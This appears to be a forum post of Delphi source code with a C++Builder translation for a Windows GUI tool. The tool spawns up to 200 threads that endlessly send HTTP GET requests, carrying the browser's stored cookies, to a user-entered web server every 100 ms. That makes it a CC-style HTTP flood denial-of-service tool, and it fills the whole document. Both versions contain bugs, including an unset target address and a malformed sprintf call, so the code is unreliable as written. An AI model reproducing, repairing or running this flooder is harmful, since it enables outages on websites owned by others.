1,314
社区成员




unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,WinSock, StdCtrls,WinInet, ComCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
StaticText1: TStaticText;
StaticText2: TStaticText;
Button2: TButton;
StaticText3: TStaticText;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
Thander: array[0..2047] of Dword;
type
PTest = ^Test;
Test=record
url: pchar;
htm: pchar;
end;
implementation
function cookie(urls:string):string;
var
cookbuffer:array[0..1023] of char;
zs:DWORD;
begin
InternetGetCookie(PChar(Urls),'',cookbuffer,zs);
Result:=cookbuffer;
end;
{$R *.dfm}
Procedure CCWeb;
var
s:integer;
name:sockaddr_in;
str:pchar;
Server:pchar;
htm:pchar;
begin
Server:= PChar(Trim(Form1.edit1.text)); //urls^.url;
htm:= PChar(Trim(Form1.edit2.text)); //urls^.htm;
s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
FillChar(name,sizeof(name),0);
name.sin_family:=AF_INET;
name.sin_port:=htons(80);
str := PChar('GET /'+ htm +' HTTP/1.1'#13#10);
str := PChar(str + 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)'#13#10);
str := PChar(str + 'Host: ' + Server + #13#10);
str := PChar(str + 'Connection: Keep-Alive' + #13#10);
str := PChar(str + 'cookie:' + cookie('http://'+ Server + '/' + htm) + #13#10);
str := PChar(str + #13#10);
while True do
begin
try
connect(s,name,sizeof(name));
send(s,PChar(str)^,Length(str),0);
closesocket(s);
except
closesocket(s);
end;
Sleep(100);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
ThreadID:DWORD;
i:Integer;
begin
Button1.Enabled := false;
Button2.Enabled := True;
for i := 1 to 1 do
begin
Thander[i] := BeginThread(nil,0,@CCWeb,nil,0,ThreadID);
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
var
i:Integer;
begin
Button2.Enabled := false;
Button1.Enabled := True;
for i := 1 to 200 do
begin
TerminateThread(Thander[i],0);
end;
end;
end.
class TForm1 : public TForm
{
__published: // IDE-managed Components
TEdit *Edit1;
TEdit *Edit2;
TButton *Button1;
TStaticText *StaticText1;
TStaticText *StaticText2;
TButton *Button2;
TStaticText *StaticText3;
void __fastcall Button1Click(TObject *Sender);
void __fastcall Button2Click(TObject *Sender);
private: // User declarations
public: // User declarations
__fastcall TForm1(TComponent* Owner);
};
#include <winsock.h>
#include <wininet.h>
#include <stdio.h>
#pragma link "wininet.lib"
HANDLE Thander[2048];
// ---------------------------------------------------------------------------
DWORD __stdcall GetWebThreadProc(void *pParam)
{
SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(80);
char szUrl[1024] = { 0 };
sprintf(szUrl, "http://%s/%s",
Form1->Edit1->Text.c_str(), Form1->Edit2->Text.c_str());
char szCookie[1024];
DWORD dwSize;
::InternetGetCookie(szUrl, "", szCookie, &dwSize);
char szRequest[2048] = { 0 };
sprintf(szRequest,
"GET /%s HTTP/1.1\r\n",
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)\r\n",
"Host: %s\r\n",
"Connection: Keep-Alive\r\n",
"cookie:%s\r\n\r\n",
Form1->Edit2->Text.c_str(), Form1->Edit1->Text.c_str(), szCookie);
while (true)
{
try
{
connect(s, (SOCKADDR *)&addr, sizeof(addr));
send(s, szRequest, strlen(szRequest), 0);
closesocket(s);
}
catch(...)
{
closesocket(s);
}
Sleep(100);
}
}
// ---------------------------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
DWORD ThreadID;
Button1->Enabled = false;
Button2->Enabled = true;
for (int i = 0; i < 200; i++)
{
Thander[i] = ::CreateThread(NULL, 0, GetWebThreadProc, NULL, 0, &ThreadID);
}
}
// ---------------------------------------------------------------------------
void __fastcall TForm1::Button2Click(TObject *Sender)
{
Button2->Enabled = false;
Button1->Enabled = true;
for (int i = 0; i < 200; i++)
{
::TerminateThread(Thander[i], 0);
}
}